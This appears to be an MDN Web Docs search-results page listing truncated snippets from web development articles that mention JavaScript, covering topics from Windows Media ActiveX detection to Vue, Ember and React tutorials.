...also interact closely with the scripts in a web page. Netscape 7.1 is the first Netscape Gecko(TM) browser to support the Windows Media Player as an ActiveX control -- previous Netscape browsers did not support any ActiveX controls, and thus detecting which versions of Netscape support the Windows Media ActiveX control is an important first step towards building multimedia experiences using HTML,
JavaScript, and the Windows Media ActiveX control. The Windows Media 9 Series SDK documentation for Netscape browsers says that versions of Netscape (including 6.2 and 7.0) support the embedding of the Windows Media Player control using a Java Applet. While that approach works with browsers older than Netscape 7.1, this section introduces the use of the objects that enable deployment of the Windows Media Pl...
...e embedding of the Windows Media Player control using a Java Applet. While that approach works with browsers older than Netscape 7.1, this section introduces the use of the objects that enable deployment of the Windows Media Player directly as an ActiveX control within Netscape 7.1. This section presents two mechanisms to detect the browsers that support Windows Media Player -- Detection using
JavaScript Objects which is useful for client-side detection Detection using the user agent string which is useful for server side detection. An advantage of the client-side approach is that it is also possible to detect if Windows Media Player is installed. Client-side Detection Using
JavaScript Objects Internet Explorer implements the ActiveXObject object to create new instances of ActiveX controls. Ne...
...And 6 more matches
Building up a basic demo with A-Frame - Game development
web browsers, but the community is still waiting for tools and libraries to appear, to make this easier. Mozilla's A-Frame framework provides a markup language allowing us to build 3D VR landscapes using a system familiar to web developers, which follows game development coding principles; this is useful for quickly and successfully building prototypes and demos, without having to write a lot of
JavaScript or GLSL. This article explains how to get up and running with A-Frame, and how to use it to build up a simple demo. High level overview The current version of A-Frame is 0.3.2, which means it's highly experimental, but it already works and you can test it right away in the browser. It runs on desktop, mobile (iOS and Android), and Oculus Rift, Gear VR and HTC Vive. A-Frame is built on top of W...
...and Android), and Oculus Rift, Gear VR and HTC Vive. A-Frame is built on top of WebGL, and provides pre built components to use in applications -- models, video players, skyboxes, geometries, controls, animations, cursors, etc. It is based on the entity component system, which is known in the game development world, but it targets web developers with a familiar markup structure, manipulable with
JavaScript. The end result is 3D web experiences, which are VR-enabled by default. Environment setup Let's start by setting up an environment to create something with A-Frame. We'll then build up a demo and run it. You should start off by: Making sure you are using a modern browser with good WebGL support (and WebXR support if you have available VR or AR hardware) such as the latest Firefox or Chrome -...
...should start off by: Making sure you are using a modern browser with good WebGL support (and WebXR support if you have available VR or AR hardware) such as the latest Firefox or Chrome -- download Firefox Nightly or Chrome (v54 or higher). (Optional) set up a VR device such as Oculus Rift or Google Cardboard. Create a new directory to store your project in. Save a copy of the latest A-Frame
JavaScript library file inside your directory (check the GitHub repository for latest stable a dev builds). Open the A-Frame documentation in a separate tab -- it is useful to refer to. HTML structure The first step is to create an HTML document -- inside your project directory, create a new index.html file, and save the follow HTML inside it: <!doctype html> <html> <head> <meta charset="utf-8"> <t...
...And 6 more matches
Primitive - MDN Web Docs Glossary: Definitions of Web-related terms
There are 6 primitive data types: string, number, bigint, boolean, undefined, and symbol. There also is null, which is seemingly primitive, but indeed is a special case for every Object: and any structured type is derived from null by the Prototype Chain. Most of the time, a primitive value is represented directly at the lowest level of the language implementation. All primitives are immutable, i.e., they cannot be altered. It is important not to confuse a primitive itself with a variable assigned a primitive value. The variable may be reassigned a new value, but the existing value can not be changed in the ways that objects, arrays, and functions can be altered. ...
...ntation. All primitives are immutable, i.e., they cannot be altered. It is important not to confuse a primitive itself with a variable assigned a primitive value. The variable may be reassigned a new value, but the existing value can not be changed in the ways that objects, arrays, and functions can be altered. Example This example will help you understand that primitive values are immutable. ...
... array method mutates the array var foo = []; console.log(foo); // [] foo.push("plugh"); console.log(foo); // ["plugh"] // Assignment gives the primitive a new (not a mutated) value bar = bar.toUpperCase(); // BAZ A primitive can be replaced, but it can't be directly altered. ...
...And 6 more matches
HTML: A good basis for accessibility - Learn web development
ility As you learn more about HTML -- read more resources, look at more examples, etc. -- you'll keep seeing a common theme: the importance of using semantic HTML (sometimes called POSH, or Plain Old Semantic HTML). This means using the correct HTML elements for their intended purpose as much as possible. You might wonder why this is so important. After all, you can use a combination of CSS and
JavaScript to make just about any HTML element behave in whatever way you want. For example, a control button to play a video on your site could be marked up like this: <div>Play video</div> But as you'll see in greater detail later on, it makes sense to use the correct element for the job: <button>Play video</button> Not only do HTML <button>s have some suitable styling applied by default (which you wi...
...ader (see bad-semantics.html), you'll not have a very good experience -- the screen reader hasn't got anything to use as signposts, so you can't retrieve a useful table of contents, and the whole page is seen as a single giant block, so it is just read out in one go, all at once. There are other issues too beyond accessibility -- it is harder to style the content using CSS, or manipulate it with
JavaScript, for example, because there are no elements to use as selectors. Using clear language The language you use can also affect accessibility. In general, you should use clear language that is not overly complex and doesn't use unnecessary jargon or slang terms. This not only benefits people with cognitive or other disabilities; it benefits readers for whom the text is not written in their first lan...
...y pressing the tab key; after a few presses, you should see the tab focus start to move through the different focusable elements. The focused elements are given a highlighted default style in every browser (it differs slightly between different browsers) so that you can tell what element is focused. You can then press Enter/Return to follow a focused link or press a button (we've included some
JavaScript to make the buttons alert a message), or start typing to enter text in a text input. Other form elements have different controls, for example, the <select> element can have its options displayed and cycled between using the up and down arrow keys. Note: Different browsers may have different keyboard control options available. See Using native keyboard accessibility for more details. You essen...
...And 6 more matches
HTML: A good basis for accessibility - Learn web development
ility As you learn more about HTML -- read more resources, look at more examples, etc. -- you'll keep seeing a common theme: the importance of using semantic HTML (sometimes called POSH, or Plain Old Semantic HTML). This means using the correct HTML elements for their intended purpose as much as possible. You might wonder why this is so important. After all, you can use a combination of CSS and
JavaScript to make just about any HTML element behave in whatever way you want. For example, a control button to play a video on your site could be marked up like this: <div>Play video</div> But as you'll see in greater detail later on, it makes sense to use the correct element for the job: <button>Play video</button> Not only do HTML <button>s have some suitable styling applied by default (which you wi...
...ader (see bad-semantics.html), you'll not have a very good experience -- the screen reader hasn't got anything to use as signposts, so you can't retrieve a useful table of contents, and the whole page is seen as a single giant block, so it is just read out in one go, all at once. There are other issues too beyond accessibility -- it is harder to style the content using CSS, or manipulate it with
JavaScript, for example, because there are no elements to use as selectors. Using clear language The language you use can also affect accessibility. In general, you should use clear language that is not overly complex and doesn't use unnecessary jargon or slang terms. This not only benefits people with cognitive or other disabilities; it benefits readers for whom the text is not written in their first lan...
...y pressing the tab key; after a few presses, you should see the tab focus start to move through the different focusable elements. The focused elements are given a highlighted default style in every browser (it differs slightly between different browsers) so that you can tell what element is focused. You can then press Enter/Return to follow a focused link or press a button (we've included some
JavaScript to make the buttons alert a message), or start typing to enter text in a text input. Other form elements have different controls, for example, the <select> element can have its options displayed and cycled between using the up and down arrow keys. Note: Different browsers may have different keyboard control options available. See Using native keyboard accessibility for more details. You essen...
...And 6 more matches
Tips for authoring fast-loading HTML pages - Learn web development
g page weight through the elimination of unnecessary whitespace and comments, commonly known as minimization, and by moving inline script and CSS into external files, can improve download performance with minimal need for other changes in the page structure. Tools such as HTML Tidy can automatically strip leading whitespace and extra blank lines from valid HTML source. Other tools can "compress"
JavaScript by reformatting the source or by obfuscating the source and replacing long identifiers with shorter versions. Minimize the number of files Reducing the number of files referenced in a web page lowers the number of HTTP connections required to download a page, thereby reducing the time for these requests to be sent, and for their responses to be received. Depending on a browser's cache settings...
...stance between the user and your website. CDNs store cached versions of your website and serve them to visitors via the network node closest to the user, thereby reducing latency. Further reading: Understanding CDNs Reduce domain lookups Since each separate domain costs time in a DNS lookup, the page load time will grow along with the number of separate domains appearing in CSS link(s) and
JavaScript and image src(es). This may not always be practical; however, you should always take care to use only the minimum necessary number of different domains in your pages. Cache reused content Make sure that any content that can be cached, is cached, and with appropriate expiration times. In particular, pay attention to the Last-Modified header. It allows for efficient page caching; by means of th...
...dynamically, a little research on this subject is beneficial. It can be somewhat involved, but it will save a lot in page requests on pages which would normally not be cacheable. More information: HTTP Conditional Get for RSS Hackers HTTP 304: Not Modified HTTP ETag on Wikipedia Caching in HTTP Optimally order the components of the page Download page content first, along with any CSS or
JavaScript that may be required for its initial display, so that the user gets the quickest apparent response during the page loading. This content is typically text, and can, therefore, benefit from text compression in transit, thus providing an even quicker response to the user. Any dynamic features that require the page to complete loading before being used, should be initially disabled, and then only e...
...And 6 more matches
Choosing the right approach - Learn web development
ynchronous To finish this module off, we'll provide a brief discussion of the different coding techniques and features we've discussed throughout, looking at which one you should use when, with recommendations and reminders of common pitfalls where appropriate. We'll probably add to this resource as time goes on. Prerequisites: Basic computer literacy, a reasonable understanding of
JavaScript fundamentals. Objective: To be able to make a sound choice of when to use different asynchronous programming techniques. Asynchronous callbacks Generally found in old-style APIs, involves a function being passed into another function as a parameter, which is then invoked when an asynchronous operation has been completed, so that the callback can in turn do something with the r...
...acks aren't. Async callbacks lose full control of how the function will be executed when passed to a third-party library. Browser compatibility Really good general support, although the exact support for callbacks in APIs depends on the particular API. Refer to the reference documentation for the API you're using for more specific support info. Further information Introducing asynchronous
JavaScript, in particular Async callbacks setTimeout() setTimeout() is a method that allows you to run a function after an arbitrary amount of time has passed. Useful for... Single delayed operation Repeating operation Multiple sequential operations Multiple simultaneous operations Yes Yes (recursive timeouts) Yes (nested timeouts) No Code example Here the br...
... ? Samsung Internet Android ? Legend Full support Full support Compatibility unknown Compatibility unknownSee implementation notes.See implementation notes. Further information Cooperative asynchronous
JavaScript: Timeouts and intervals, in particular setTimeout() setTimeout() reference setInterval() setInterval() is a method that allows you to run a function repeatedly with a set interval of time between each execution. Not as efficient as requestAnimationFrame(), but allows you to choose a running rate/frame rate. Useful for... Single delayed operation Repeating operation Multiple s...
...And 6 more matches
General asynchronous programming concepts - Learn web development
Overview: Asynchronous Next In this article, we'll run through a number of important concepts relating to asynchronous programming, and how this looks in web browsers and
JavaScript. You should understand these concepts before working through the other articles in the module. Prerequisites: Basic computer literacy, a reasonable understanding of
JavaScript fundamentals. Objective: To understand the basic concepts behind asynchronous programming, and how they manifest in web browsers and
JavaScript. Asynchronous? Normally, a given program's code runs straight along, with only one thing happening at once. If a function relies on the result of another function, it has to wait for the other function to finish and return, and until that happens, the entire ...
...The code runs in the order it appears in the source, and the later operation doesn't run till the earlier operation has finished running. Note: The previous example is very unrealistic. You would never calculate 10 millio...
...then quickly click the second one, you'll see that the alert does not appear until the circles have finished being rendered. The first operation blocks the second one until it has finished running. Note: OK, in our case, it is ugly and we are faking the blocking effect, but this is a common problem that developers of real apps fight to mitigate all the time. Why is this? The answer is because
JavaScript, generally speaking, is single-threaded. At this point, we need to introduce the concept of threads. Threads A thread is basically a single process that a program can use to complete tasks. Each thread can only do a single task at once: Task A --> Task B --> Task C Each task will be run sequentially; a task has to complete before the next one can be started. As we said earlier, many computer...
...And 6 more matches
Third-party APIs - Learn web development
arge websites and services such as Google Maps, Twitter, Facebook, PayPal, etc. provide APIs allowing developers to make use of their data (e.g. displaying your twitter stream on your blog) or services (e.g. using Facebook login to log in your users). This article looks at the difference between browser APIs and 3rd party APIs and shows some typical uses of the latter. Prerequisites:
JavaScript basics (see first steps, building blocks,
JavaScript objects), the basics of Client-side APIs Objective: To learn how third-party APIs work, and how to use them to enhance your websites. What are third party APIs? Third party APIs are APIs provided by third parties -- generally companies such as Facebook, Twitter, or Google -- to allow you to access their functionality via Jav...
...our pages. Let's look at a Simple Mapquest API example, and use it to illustrate how third-party APIs differ from browser APIs. Note: You might want to just get all our code examples at once, in which case you can then just search the repo for the example files you need in each section. They are found on third-party servers Browser APIs are built into the browser -- you can access them from
JavaScript immediately. For example, the Web Audio API we saw in the Introductory article is accessed using the native AudioContext object. For example: const audioCtx = new AudioContext(); ... const audioElement = document.querySelector('audio'); ... const audioSource = audioCtx.createMediaElementSource(audioElement); // etc. Third party APIs, on the other hand, are located on third party servers. To...
...example, the Web Audio API we saw in the Introductory article is accessed using the native AudioContext object. For example: const audioCtx = new AudioContext(); ... const audioElement = document.querySelector('audio'); ... const audioSource = audioCtx.createMediaElementSource(audioElement); // etc. Third party APIs, on the other hand, are located on third party servers. ...
...And 6 more matches
Creating our first Vue component - Learn web development
Previous Overview: Client-side
JavaScript frameworks Next Now it's time to dive deeper into Vue, and create our own custom component -- we'll start by creating a component to represent each item in the todo list. Along the way, we'll learn about a few important concepts such as calling components inside other components, passing data to them via props, and saving data state. Note: If you need to check your code against our version, you can find a finished version of the sample Vue app code in our todo-vue repository. For a running live version, see https://mdn.github.io/todo-vue/dist/. Prerequisites: Familiarity with the core HTML, CSS, and
JavaScript languages, knowledge of the terminal/command line. ...
...: If you need to check your code against our version, you can find a finished version of the sample Vue app code in our todo-vue repository. For a running live version, see https://mdn.github.io/todo-vue/dist/. Prerequisites: Familiarity with the core HTML, CSS, and
JavaScript languages, knowledge of the terminal/command line. Vue components are written as a combination of
JavaScript objects that manage the app's data and an HTML-based template syntax that maps to the underlying DOM structure. For installation, and to use some of the more advanced features of Vue (like Single File Components or render functions), you'll need a terminal with node + npm installed. Objective: To learn how to create a Vue component, render it inside another component, pass data in...
...components/ToDoItem.vue'; export default { name: 'app', components: { ToDoItem } }; This is the same way that the HelloWorld component was registered by the Vue CLI earlier. To actually render the ToDoItem component in the app, you need to go up into your <template> element and call it as a <to-do-item></to-do-item> element. Note that the component file name and its representation in
JavaScript is always in upper camel case (e.g. ToDoList), and the equivalent custom element is always in hyphenated lower case (e.g. <to-do-list>). Underneath the <h1>, create an unordered list (<ul>) containing a single list item (<li>). Inside the list item add <to-do-item></to-do-item>. Your App.vue <template> contents should now look something like this: <div id="app"> <h1>To-Do List</h1> <ul...
...And 6 more matches
Introduction to automated testing - Learn web development
mes per day, can get tedious, and time-consuming. To handle this efficiently, you should become familiar with automation tools. In this article, we look at what is available, how to use task runners, and how to use the basics of commercial browser test automation apps such as LambdaTest, Sauce Labs, BrowserStack, and TestingBot. Prerequisites: Familiarity with the core HTML, CSS, and
JavaScript languages; an idea of the high level principles of cross-browser testing. Objective: To provide an understanding of what automated testing entails, how it can make your life easier, and how to make use of some of the commercial products that make things easier. Automation makes things easy Throughout this module we have detailed loads of different ways in which you can test yo...
...ately, there are tools to help us automate some of this pain away. There are two main ways in which we can automate the tests we've been talking about in this module: Use a task runner such as Grunt or Gulp, or npm scripts to run tests and clean up code during your build process. This is a great way to perform tasks like linting and minifying code, adding in CSS prefixes or transpiling nascent
JavaScript features for maximum cross-browser reach, and so on. Use a browser automation system like Selenium to run specific tests on installed browsers and return results, alerting you to failures in browsers as they crop up. Commercial cross-browser testing apps like LambdaTest, Sauce Labs, BrowserStack, and TestingBot are based on Selenium, but allow you to access their set up remotely using a simple i...
...: "index.js", "scripts": { "test": "test" }, "author": "Chris Mills", "license": "MIT" } With this, you are ready to move on. Setting up Gulp automation Let's look at setting up Gulp and using it to automate some testing tools. To begin with, create a test npm project using the procedure detailed at the bottom of the previous section. Next, you'll need some sample HTML, CSS and
JavaScript content to test your system on -- make copies of our sample index.html, main.js, and style.css files in a subfolder with the name src inside your project folder. You can try your own test content if you like, but bear in mind that such tools won't work on internal JS/CSS -- you need external files. First, install gulp globally (meaning, it will be available across all projects) using the followi...
...And 6 more matches
WebIDL bindings
ds of interface types in the WebIDL bindings. Callback interfaces are used to represent script objects that browser code can call into. External interfaces are used to represent objects that have not been converted to the WebIDL bindings yet. WebIDL interfaces are used to represent WebIDL binding objects. "SpiderMonkey" interfaces are used to represent objects that are implemented natively by the
JavaScript engine (e.g., typed arrays). Callback interfaces Callback interfaces are represented in C++ as objects inheriting from mozilla::dom::CallbackInterface, whose name, in the mozilla::dom namespace, matches the name of the callback interface in the WebIDL. The exact representation depends on how the type is being used. Nullable arguments become Foo*. Non-nullable arguments become Foo&. Return ...
...d on an attribute and indicates that another property with the specified name will also appear on the interface prototype object and will call the same underlying C++ implementation for the getter and setter. This is more efficient than using the same BinaryName for both attributes, because it shares the binding glue code between them. The properties still have separate getter/setter functions in
JavaScript, so from the point of view of web consumers it's as if you actually had two separate attribute declarations on your interface. For example: interface MyInterface { [BindingAlias=otherAttr] readonly attribute boolean attr; }; MyInterface.prototype.otherAttr and MyInterface.prototype.attr will both exist, have separate getter/setter functions, but call the same binding glue code and implementa...
...that DoResolve might resolve. Providing names that DoResolve won't actually resolve is OK. [HeaderFile="path/to/headerfile.h"] Indicates where the implementation can be found. Similar to the headerFile annotation in Bindings.conf. Just like headerFile in Bindings.conf, should be avoided. [JSImplementation="@mozilla.org/some-contractid;1"] Used on an interface to provide the contractid of the
JavaScript component implementing the interface. [NavigatorProperty="propName"] Setting this extended attribute to propName on an interface causes window.navigator.propName to be an instance of the interface. Note that adding or removing this extended attribute requires a clobber. See https://bugzilla.mozilla.org/show_bug.cgi?id=1333117 for details. [StoreInSlot] Used to flag attributes that can be go...
...And 6 more matches
Mozilla
bug builds (--enable-debug) and non-optimized builds (--disable-optimize) are much slower. Any performance metrics gathered by such builds are largely unrelated to what would be found in a release browser. Browser chrome tests The browser chrome test suite is an automated testing framework designed to allow testing of application chrome windows using
JavaScript. It currently allows you to run
JavaScript code in the same scope as the main Firefox browser window and report results using the same functions as the Mochitest test framework. As all tests, they won't work in a build with tests disabled (--disable-tests). Browser security An important aspect of developing code for any browser, including...
... desirable to fully employ the KDE wallet manager, rather than any secondary replacements of KDEwallet. Creating a spell check dictionary add-on This page describes how to package a Hunspell spell check dictionary as a Firefox add-on, or how to update your existing add-on, so that it can be installed, uninstalled and updated without a restart. Creating
JavaScript callbacks in components XPCOM components use IDL to create interfaces. These interfaces are used to manipulate the component in C++ and
JavaScript. A common pattern used with interfaces to create a bi-directional communication between two groups of code is the observer (or listener) pattern. Basically, the component defines an observer (or listener)...
...he same visual effect. Reftest will then compare them and verify whether they produce the same bitmap. Creating Sandboxed HTTP Connections Starting with Gecko 1.8.1 (Firefox 2), it is possible to create sandboxed HTTP connections which don't affect the user's cookies. This article will cover the basics of doing HTTP connections from XPCOM
JavaScript, and should easily translate to C++ XPCOM. Debugging Debugging a project as large as Mozilla can be a daunting task. Fortunately, over the years, Mozilla developers have come up with not just technologies and features to help you debug code, but have devised tips and techniques that can help too. Also available are assorted tools that you...
...And 6 more matches
<script>: The Script element - HTML: Hypertext Markup Language
The <script> element can also be used with other languages, such as WebGL's GLSL shader programming language and JSON. Content categories Metadata content, Flow content, Phrasing content. Permitted content Dynamic script such as text/
javascript. Tag omission None, both the starting and ending tag are mandatory. Permitted parents Any element that accepts metadata content, or any element that accepts phrasing content. ...
...hen the classic script will be fetched in parallel to parsing and evaluated as soon as it is available. For module scripts, if the async attribute is present then the scripts and all their dependencies will be executed in the defer queue, therefore they will get fetched in parallel to parsing and evaluated as soon as they are available. This attribute allows the elimination of parser-blocking
JavaScript where the browser would have to load and evaluate scripts before continuing to parse. defer has a similar effect in this case. This is a boolean attribute: the presence of a boolean attribute on an element represents the true value, and the absence of the attribute represents the false value. See Browser compatibility for notes on browser support. See also Async scripts for asm.js. crossor...
...ed and finished evaluating. This attribute must not be used if the src attribute is absent (i.e. for inline scripts), in this case it would have no effect. The defer attribute has no effect on module scripts -- they defer by default. Scripts with the defer attribute will execute in the order in which they appear in the document. This attribute allows the elimination of parser-blocking
JavaScript where the browser would have to load and evaluate scripts before continuing to parse. async has a similar effect in this case. integrity This attribute contains inline metadata that a user agent can use to verify that a fetched resource has been delivered free of unexpected manipulation. See Subresource Integrity. nomodule This Boolean attribute is set to indicate that the script should not...
...And 6 more matches
List of Mozilla-Based Applications - Archive of obsolete content
ftware Uses Mozilla SpiderMonkey Adobe Flash Player popular browser plug-in Uses NSS in Linux version AdWatch content management system Uses XUL and XPCOM AICPCU/IIA exam app exam delivery software Aliwal Geocoder geocoding & data on a map Amarok XUL remote remote control for AmaroK music player Ample SDK
Javascript GUI-framework AOL Instant Messenger IM client Uses NSS Apache web server Doesn't use NSS by default, but can be configured to use NSS with mod_nss SSL module ApicaWatch site performance monitoring tool Uses Firefox as part of its monitoring package Astyle CSS editor editing tool Atmail webmail client Aviva f...
... Crowbar server tool Cycloctopus screen scraping console Cyclone3 content management system Danger mobile platform Uses Gecko on the server side -- no longer active? Desktop 2 internal browser and portal client Expeditors International of Washington, Inc. Dogtag certificate system Uses NSS Dojo
JavaScript toolkit Uses Mozilla Rhino in ShrinkSafe Eclipse platform open development platform The AJAX Toolkit Framework, Standard Widget Toolkit and EclipseMozilla projects make use of Mozilla Elixon WCMS/XUL Web Content Management System Fully remote XUL WCMS (no need to install extensions). Entelechy chat bot Uses XULRunner Epic Browser web bro...
...agement System Fully remote XUL WCMS (no need to install extensions). ...
...And 5 more matches
SeaMonkey - making custom toolbar (SM ver. 1.x) - Archive of obsolete content
page: Custom Toolbar Button) You do not need any special technical skills or tools, and almost all the information you need is on this page. Introduction The technique described here does not involve any hacking. Instead, you make your custom button as a self-contained extension. You can use the sample code provided here to make buttons that do various useful things. If you know how to program in
JavaScript, then you can write your own code that does other things. You can use this page if all you really want is a button for some special purpose. You can also use this page to learn about extensions, and as a starting point if you plan to write a more complex extension. Note that this extension is very simplified. Use other tutorials and articles to find out more--the main Extensions page here is a go...
...u installed SeaMonkey: 1. Go to the directory where you installed SeaMonkey, then go to the chrome directory there. Note: For information about how to find the directory where you installed SeaMonkey, see: Installation directory If you cannot easily find the directory, you can use the following method to find it. From SeaMonkey's menu bar, choose Tools - Web Development -
JavaScript Console. Copy the following code. It is one very long line ending in path--make sure that you get all of it: Components.classes["@mozilla.org/file/directory_service;1"].getService( Components.interfaces.nsIProperties).get("AChrom", Components.interfaces.nsIFile).path In the
JavaScript Console window, paste the code in the field near the top. Presss the Return or Enter key, or the Evaluate but...
...ton.xul. Copy the following content, making sure that you scroll to get all of it. ...
...And 5 more matches
Custom toolbar button - Archive of obsolete content
Monkey.) You do not need any special technical skills or tools, and almost all the information you need is on this page. Introduction The technique described here does not involve any hacking. Instead, you make your custom button as a self-contained extension in your profile. You can use the sample code provided here to make buttons that do various useful things. If you know how to program in
JavaScript, then you can write your own code that does other things. You can use this page if all you really want is a button for some special purpose. You can also use this page to learn about extensions, and as a starting point if you plan to write a more complex extension. Note that this extension is very simplified. Use other tutorials and articles to find out more--the main Extensions page here is a ...
...med button.xul. Copy the following content, making sure that you scroll to get all of it. ...
...button" /> </overlay> Optionally customize the file by changing the label and tooltiptext in the last section. Change the text between double-quote characters on these two lines. Optionally remove the sections for toolbars that you do not need. Save the file. Explanation: This XUL file adds the button to the application's toolbar customization palette. It also links to the stylesheet and
JavaScript code that the button uses. The last section specifies details of the button. 7. Create a plain text file named button.css. Copy the following content, making sure that you scroll to get all of it. Paste it into the new file: #custom-button-1, #wrapper-custom-button-1 {list-style-image: url("chrome://custombutton/content/button-1.png");} /* common style for all custom buttons */ .custombutto...
...And 5 more matches
JavaArray - Archive of obsolete content
Summary Core Object A wrapped Java array accessed from within
JavaScript code is a member of the type JavaArray. Created by Any Java method which returns an array. In addition, you can create a JavaArray with an arbitrary data type using the newInstance method of the Array class: public static Object newInstance(Class componentType, int length) throws NegativeArraySizeException Description The JavaArray object is an instance of a Java array that is created in or passed to
JavaScript. JavaArray is a wrapper for the instance; all references to the array instance are made through the JavaArray. In
JavaScript 1.4 and later, the componentType parameter is either a JavaClass object representing the type of the array or class object, such as one returned by java.lang.Class.forName. In JavaS...
...lass.forName. In
JavaScript 1.3 and earlier, componentType must be a class object. Use zero-based indexes to access the elements in a JavaArray object, just as you do to access elements in an array in Java. For example: var javaString = new java.lang.String("Hello world!"); var byteArray = javaString.getBytes(); byteArray[0] // returns 72 byteArray[1] // returns 101 Any Java data brought into
JavaScript is converted to
JavaScript data types. When the JavaArray is passed back to Java, the array is unwrapped and can be used by Java code. See the Core
JavaScript 1.5 Guide for more information about data type conversions. In
JavaScript 1.4 and later, the methods of java.lang.Object are inherited by JavaArray. ...
...teArray[1] // returns 101 Any Java data brought into
JavaScript is converted to
JavaScript data types. When the JavaArray is passed back to Java, the array is unwrapped and can be used by Java code. See the Core
JavaScript 1.5 Guide for more information about data type conversions. In
JavaScript 1.4 and later, the methods of java.lang.Object are inherited by JavaArray. Backward compatibility
JavaScript 1.3 and earlier The methods of java.lang.Object are not inherited by JavaArray. In addition, the toString method is inherited from the Object object and returns the following value: [object JavaArray] You must specify a class object, such as one returned by java.lang.Object.forName, for the componentType parameter of newInstance when you use this method to create an array. You cannot use a Ja...
...And 5 more matches
Common causes of memory leaks in extensions - Extensions
Windows.push(contentWindow); } This will keep the content window compartments alive until the browser window is closed. Users often only open a single browser window per session and use tabs, in which case the leaked compartments will live for the whole life of the session. A similar problem is holding onto window objects or DOM nodes (such as window.document) for too long by storing them in a
JavaScript module. For example: var windows = []; function in
JavascriptCodeModule(window) { // forgetting or failing to pop the window again windows.push(window); } Both of these cases can happen if you forget to declare local variables with var or let, which means they end up belonging to the global scope. For example: function implicitDeclarationLeak(window) { // Implicit variable declaration i...
...o ensure your code won't accidentally leak content windows. Therefore, your add-on should clean up such intervals and timeouts when the corresponding content document is unloaded, by adding an unload event listener or by similar means. ...
...s a big drawback with this idea: If the user disables
JavaScript globally or locally (such as by using an add-on like NoScript), then using the content window functions won't work. Problems in bootstrapped (restartless) add-ons Bootstrapped extensions use a bootstrap.js compartment. If you put a reference to anything within this compartment into a long-lived window object (such as browser.xul),
JavaScript module or XPCOM component, the bootstrap.js compartment will become a zombie. For example, the following code snippets -- part of a bootstrap.js -- will leak: function leakref() {} function modifyDocument(document) { var a = document.createElement("a"); document.body.appendChild(a); // The new DOM node holding a reference to leakref will prevent // that function object from being garba...
...And 5 more matches
The web and web standards - Learn web development
y simple summary of what happened, but I did promise you a brief summary. One last significant data point to share is that in 1994, TimBL founded the World Wide Web Consortium (W3C), an organization that brings together representatives from many different technology companies to work together on the creation of web technology specifications. After that other technologies followed such as CSS and
JavaScript, and the web started to look more like the web we know today. Web standards Web standards are the technologies we use to build web sites. These standards exist as long technical documents called specifications, which detail exactly how the technology should work. These documents are not very useful for learning how to use the technologies they describe (this is why we have sites like MDN Web Do...
...- institutions that invite groups of people from different technology companies to come together and agree on how the technologies should work in the best way to fulfill all of their use cases. The W3C is the best known web standards body, but there are others such as the WHATWG (who were responsible for the modernization of the HTML language), ECMA (who publish the standard for ECMAScript, which
JavaScript is based on), Khronos (who publish technologies for 3D graphics, such as WebGL), and others. "Open" standards One of the key aspects of web standards, which TimBL and the W3C agreed on from the start, is that the web (and web technologies) should be free to both contribute and use, and not encumbered by patents/licensing. Therefore anyone can write the code to build a website for free, and anyo...
...icate with web servers (where web sites are stored). A typical conversation goes something like "Hello web server. Can you give me the files I need to render bbc.co.uk"? "Sure thing web browser -- here you go" [Downloads files and renders web page] The actual syntax for HTTP messages (called requests and responses) is not that human-readable, but this gives you the basic idea. HTML, CSS, and
JavaScript HTML, CSS, and
JavaScript are the main three technologies you'll use to build a website: Hypertext markup language, or HTML, is a markup language consisting of different elements you can wrap (mark up) content in to give it meaning (semantics) and structure. Simple HTML looks like this: <h1>This is a top-level heading</h1> <p>This is a paragraph of text.</p> <img src="cat.jpg" alt="A pi...
...And 5 more matches
Ember interactivity: Events, classes and state - Learn web development
Previous Overview: Client-side
JavaScript frameworks Next At this point we'll start adding some interactivity to our app, providing the ability to add and display new todo items. Along the way, we'll look at using events in Ember, creating component classes to contain
JavaScript code to control interactive features, and setting up a service to keep track of the data state of our app. Prerequisites: At minimum, it is recommended that you are familiar with the core HTML, CSS, and
JavaScript languages, and have knowledge of the terminal/command line. A deeper understanding of modern
JavaScript features (such as classes, modules, etc), will be extremely beneficial, as Ember makes heavy use of them. Objective: To learn how to create component class...
...ponsibilities are. In the below sections we'll do this for each component, and then walk you through how the functionality can be implemented. Creating todos For our card-header / todo input, we'll want to be able to submit our typed in todo task when we press the Enter key and have it appear in the todos list. We want to be able to capture the text typed into the input. We do this so that our
JavaScript code knows what we typed in, and we can save our todo and pass that text along to the todo list component to display. We can capture the keydown event via the on modifier, which is just Ember syntactic sugar around addEventListener and removeEventListener (see this explanation if needed). Add the new line shown below to your header.hbs file: <input class='new-todo' aria-label='What needs t...
...e?' autofocus {{on 'keydown' this.onKeyDown}} > This new attribute is inside double curly braces, which tells you it is part of Ember's dynamic templating syntax. The first argument passed to on is the type of event to respond to (keydown), and the last argument is the event handler -- the code that will run in response to the keydown event firing. As you may expect from dealing with vanilla
JavaScript objects, the this keyword refers to the "context" or "scope" of the component. One component's this will be different from another component's this. We can define what is available inside this by generating a component class to go along with your component. This is a vanilla
JavaScript class and has no special meaning to Ember, other than extending from the Component super-class. To create a he...
...And 5 more matches
React interactivity: Events and state - Learn web development
Previous Overview: Client-side
JavaScript frameworks Next With our component plan worked out, it's now time to start updating our app from a completely static UI to one that actually allows us to interact and change things. In this article we'll do this, digging into events and state along the way, and ending up with an app in which we can successfully add and delete tasks, and toggle tasks as completed. Prerequisites: Familiarity with the core HTML, CSS, and
JavaScript languages, knowledge of the terminal/command line. Objective: To learn about handling events and state in React, and use those to start making the case study app interactive. ...
...an successfully add and delete tasks, and toggle tasks as completed. Prerequisites: Familiarity with the core HTML, CSS, and
JavaScript languages, knowledge of the terminal/command line. Objective: To learn about handling events and state in React, and use those to start making the case study app interactive. Handling events If you've only written vanilla
JavaScript before now, you might be used to having a separate
JavaScript file, where you query for some DOM nodes and attach listeners to them. For example: const btn = document.querySelector('button'); btn.addEventListener('click', () => { alert("hi!"); }); In React, we write event handlers directly on the elements in our JSX, like this: <button type="button" onClick={() => alert("hi!")} > Say ...
...addEventListener('click', () => { alert("hi!"); }); In React, we write event handlers directly on the elements in our JSX, like this: <button type="button" onClick={() => alert("hi!")} > Say hi! </button> Note: This may seem counter-intuitive regarding best-practice advice that tends to advise against use of inline event handlers on HTML, but remember that JSX is actually part of your
JavaScript. In the above example, we're adding an onClick attribute to the <button> element. The value of that attribute is a function that triggers a simple alert. The onClick attribute has special meaning here: it tells React to run a given function when the user clicks on the button. There are a couple of other things to note: The camel-cased nature of onClick is important -- JSX will not recognize...
...And 5 more matches
Deployment and next steps - Learn web development
You'll need a terminal with node + npm installed to compile and build your app. ...
